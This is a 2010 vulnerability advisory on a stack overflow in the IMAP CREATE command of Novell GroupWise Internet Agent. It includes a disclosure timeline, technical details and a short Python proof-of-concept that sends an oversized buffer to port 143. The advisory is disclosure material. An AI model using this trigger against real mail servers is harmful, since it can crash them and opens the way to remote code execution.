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Application:   Novell Groupwise Internet Agent Stack Overflow
Platforms:   Windows, Linux, Netware (GroupWise 7.0, 7.01, 7.02, 7.03x, 7.04, 8.0, 8.01x)
Exploitation:   Remote code execution
CVE Number:  
Novell TID:  7006374
Author:   Francis Provencher (Protek Research Lab's)
WebSite:   http://www.protekresearchlab.com/
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1) Introduction
2) Report Timeline
3) Technical details
4) The Code

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1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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2) Report Timeline
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2010-04-06 - Vulnerability reported to vendor
2010-07-16 - Coordinated public release of advisory
(http://www.zerodayinitiative.com/advisories/ZDI-10-129/)

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3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Groupwise Internet Agent. Authentication is required to exploit this vulnerability.

The flaw exists within the IMAP functionality included with GWIA. When provided with an overly long mailbox name to the CREATE verb, the IMAP server can be forced to overflow a buffer on the stack. Successful exploitation leads to remote code execution under the context of the server.

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4) The Code
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#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 532

s.connect(('192.168.100.177',143))
s.recv(1024)
s.send('A001 LOGIN test@proteklab.com   test ' + buffer + '\r\n')
s.recv(1024)
s.send('A001 CREATE ' + buffer + '\r\n')
s.recv(1024)
s.close()

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(PRL-2010-06)